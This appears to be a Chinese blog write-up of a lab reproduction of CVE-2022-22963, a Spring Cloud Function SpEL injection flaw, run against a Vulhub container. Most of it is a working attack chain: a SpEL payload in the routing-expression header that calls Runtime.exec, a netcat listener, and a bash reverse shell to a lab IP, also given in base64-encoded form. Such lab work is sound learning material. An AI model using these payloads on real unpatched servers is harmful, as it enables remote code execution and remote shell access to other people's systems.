文章目录:
漏洞信息
所需环境
搭建环境
漏洞复现
反弹shell
总结
漏洞信息
漏洞名称:Spring Cloud Function SpEL 远程代码执行漏洞
危害等级:高危
漏洞类型:中间件漏洞
漏洞概述:由于Spring CloudFunction中RoutingFunction类的apply方法将请求头中的"spring.cloud.function.routing-expression"参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,当使用路由功能时,攻击者可利用该漏洞远程执行任意代码。
所需环境
- Linux(kali)操作系统
- vilhub靶场
- windows7(nc)
搭建环境
- 进入目标目录:cd/桌面/vulhub-master/spring/CVE-2022-22963
- 打开dockers容器:docker-compose up -d
- 查看主机IP地址:ifconfig
- 查看容器开启的端口:docker ps
- 地址加端口查看服务:http://192.168.162.129:8080/functionRouter
示例:
漏洞复现
POC:
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
对靶场进行抓包,并将包转换为post型,在转换后的包内添加poc,并发送:
示例:
返回到kali虚拟机内,打开终端输入:docker-compose exec spring bash
进入到容器内,输入命令:cd /tmp可以看到成功创建了success文件
示例:
反弹shell:
打开nc所在操作系统,查看系统IP(windows系统为ipconfig):
示例:
打开nc并监听端口:
nc -lvnp 9988 #注意打开的端口不能被占用
示例:
打开上面的nc生成网页链接将所需信息输入进去:
(红色下划线的输入nc所在的虚拟机的ip,绿色圆圈内的是nc监听的端口,黑色圈圈内的是ase64加密的内容)
示例:
得到:
sh -i >& /dev/tcp/192.168.162.130/9988 0>&1 #IP为nc所在操作系统的IP,端口为nc监听的端口
进行base64加密:
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xNjIuMTMwLzk5ODggMD4mMQ==}|{base64,-d}|{bash,-i}
示例:
将加密后的命令加入数据包并发包:
示例:
返回nc所在操作系统,反弹shell成功:
示例:
总结
身为一个网络安全的新人,对于我而言,每一次的复现都是一次宝贵的经验,希望各位大佬能够喜欢,希望各位大佬给个关注,谢谢。